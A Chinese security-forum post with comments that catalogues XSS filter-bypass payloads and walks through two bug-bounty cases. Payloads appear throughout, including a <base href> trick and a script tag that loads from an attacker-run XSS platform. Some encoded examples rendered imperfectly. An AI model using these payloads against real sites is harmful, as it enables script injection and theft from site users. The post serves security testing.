记录几种XSS绕过方式

2020-03-26 14:44:48 18 6852 5


前言:第一次发文章 不会排版 本人原本是靠签到存活的 后来有一天忘记签到..........


一.服务端全局替换为空的特性


比如某站正则 过滤了onerror 过滤了script 这些  但是“ 或者 ‘ 这这种符号会变成空可以绕过


例如代码

<img src=1 oner”ror=alert(1)>


利用 某字符转换为空 来绕过  我下面写了个挖掘案例



二.大小写绕过

比如正则过滤了onerror script 这些 没有设置大小写

     绕过 payload

<ScRiPt>alert(1)</ScRipt>

<img src=1 ONeRror=alert(1)>



二.进制代替

在json这种包里

可以用\u003c 代替<    用\u003e 代替 >

还可以用\x3c 代替  <  用\x3e  代替>

下面写了个挖掘某src的案例


三.自动闭合

比如<script>alert(1)</script>会被检测  但是你不闭合就行了

<script>alert(1)</script 就没事

四.伪协议

实战日管理员难顶,但是你提交src的话 还是会收的

他过滤了on函数这些 肯定用不了 但是可以用伪协议

<a href="javascript:alert(1)">1</a>

<iframe src="javascript:alert(1)">




五.编码绕过

这里了是过滤了 alert prompt 这些弹窗 有时候我提交 console.log(1)  但是审核会让你证明能弹窗  

我们通过事件来执行弹窗  过滤了说的那些弹窗 就可以用编码

像alert  prompt这些 可以替换为    hex 编码 demical编码 unicode 编码 html实体编码

像alert 后面的()括号 可以替换为   hex 编码 demical 和html 实体 实体编码

举个例子将a 实体化



alert 可以变成 alert(1)

对了 在<a href="">里面就可以在双引号里面用实体编码 这样有时候直接绕过JavaScript的限制

<a href="javasript:alert(1)">



      这里讲一下B哥教的操作在X后面加很多个0 就能绕过 亲测绕过比如 a 原来的实体编码是

&#x61;
  然后加了很多个0 变为
&#x0000000061;
  ps:什么?绕不过,多加几个0试试


六.规定资源

   
     这时候 过滤了on 函数 过滤 script 这些 还是有机会的这个还是有点骚气 比如某网站前端加载了1.js 文件     

     <base href="http://www.test.com">


     用上面这个代码  这个能规定这个加载哪个地方的js


   所以上面加载的js就会加载www.test.com的js


   所以实战就很简单 我们用自己的网站 上面放个js文件
   里面内容为alert(1)   


   用这个代码 让他加载我们网站的js文件

     





挖掘某厂商案例一(根据转换某字符为空)



我直接插入<img src=1 onerror=alert(1)>

发现失败

然会一个一个代码删减 删到 <img src=1 onerro> 发现可以了 他就是正则过滤了onerror 而没有直接过滤on

重新输入<"> <?> </> <'> <\>

到了<\> 这里 发现里面替换成空了

然后利用这个特性 构造payload 在onerror里面加个\

<img src=1 onerr\or=alert&#x28;1&#x29;>

这样就绕过了正则 后面是编码代替括号 因为过滤了括号

然后就可以了






挖掘某厂商案例二(利用\u003c 大小写  自动闭合绕过)

       这里插入payload:

<img src=1 onerror=alert(1)>
会被过滤


然后用\u003img/src=1\u003e (<img src=1>)

发现  内容都变空了

将末尾的\u003e换成原来的>  发现内容还是会空


\u003c  来代替<  


后面只用了\u00c 后面不加闭合   但是过滤了onerror 函数 还是会把所有内容变为空 <div>空内容</div>

然后试用script  来加载js  服务端会返回500


他这里出现这两个 \u003c   \u003e 会被检测 \x3c 也是

然后script 出现也会被检测

直接尝试大小写 绕过

script 改为SCriPT

利用了大小写 绕过然后后面发现可以自动闭合   

我们知道<script src=11111> 这里不用闭合</script> 也能加载js文件  /代替下空格

最后payload为:\u003cScRiPt/src=xss平台地址?


我在xss地址后面加了个问号 因为输出的内容里有个乱七八糟在里面 然后问号直接给他过滤掉 只加载前面的内容

关于作者

陈祝0ne10篇文章67篇回复

评论18次

要评论?请先  登录  或  注册
  • TOP1
    2020-3-26 14:47

    那个实体编码加了很多个0 是a 原来是&#x61;会被检测 绕过的话&#x00000000000000000061;我原帖写了 但是不知道发表的时候为啥丢失了 我很蒙蔽 第一次写然后最下面四个图片附件 我也不知道是咋回事 乱七八糟的------------------已经重新编辑删不了评论 对不起各位表哥刚开始想把排版原因啥的写评论里但是觉得违反了 规则

  • 18楼
    2020-6-30 01:12
    stay-src

    实际上的场景很少能用上面描述的绕过去。。。

    1

    全局替换为空的特性你多试试,我这个挖了差不多6.7个专属SRC 小几千就到手了

  • 17楼
    2020-6-29 10:18

    实际上的场景很少能用上面描述的绕过去。。。

  • 16楼
    2020-6-18 16:09

    碰到实例化的那种,我基本就是属于放弃了,太菜了没办法

  • 15楼
    2020-6-3 10:34

    一个实体化,就横扫了一片了。。。。 脑壳痛

  • 14楼
    2020-3-29 17:11
    CTLers-DF

    尖括号被实体化,咋搞,,

    1

    找不需要尖括号的地方,比如标签内,js内

  • 13楼
    2020-3-27 18:05

    尖括号实体化的话就尝试 -alert(1)- -prompt(1)- -confirm(1)- 这些样式的,不行的话再编码试试能不能过

  • 12楼
    2020-3-27 13:19

    感谢楼主分享,但很多实战当中都是将尖括号实体化,这个很难处理。学到了

  • 11楼
    2020-3-27 11:04

    最近xss的挺多 真实案例的分享不错

  • 10楼
    2020-3-27 00:46

    分享楼主的分享,

  • 9楼
    2020-3-26 23:47

    现在csp一上,有跨也不好利用。

  • 8楼
    2020-3-26 21:28

    学到了,括号实体化了,还能怎么搞!

  • 7楼
    2020-3-26 21:18
    CTLers-DF

    尖括号被实体化,咋搞,,

    1

    实体化确实不好搞,二次编码或者三次编码不行基本就放弃了

  • 6楼
    2020-3-26 19:41

    尖括号被实体化,咋搞,,

  • 5楼
    2020-3-26 18:57

    常规绕过手法网上基本都罗列的很详细了

  • 4楼
    2020-3-26 17:59

    这个不算奇淫技巧吧,好多年前的老东西了。这个帖子里总结的全的多:https://www.cnblogs.com/kingsec/p/4194519.html

  • 3楼
    2020-3-26 15:55
    陈祝0ne

    刚开始好多图片缺失 我也不确定啥原因第一次发帖 重新编辑了

    1

    表哥让我重新编辑下 用markdown 下次发文章启用markdown

  • 2楼
    2020-3-26 15:29

    刚开始好多图片缺失 我也不确定啥原因第一次发帖 重新编辑了

  • 1楼
    2020-3-26 14:47

    那个实体编码加了很多个0 是a 原来是&#x61; 会被检测 绕过的话 &#x00000000000000000061; 我原帖写了 但是不知道发表的时候为啥丢失了 我很蒙蔽 第一次写 然后最下面四个图片附件 我也不知道是咋回事 乱七八糟的 ------------------ 已经重新编辑 删不了评论 对不起各位表哥 刚开始想把排版原因啥的写评论里 但是觉得违反了 规则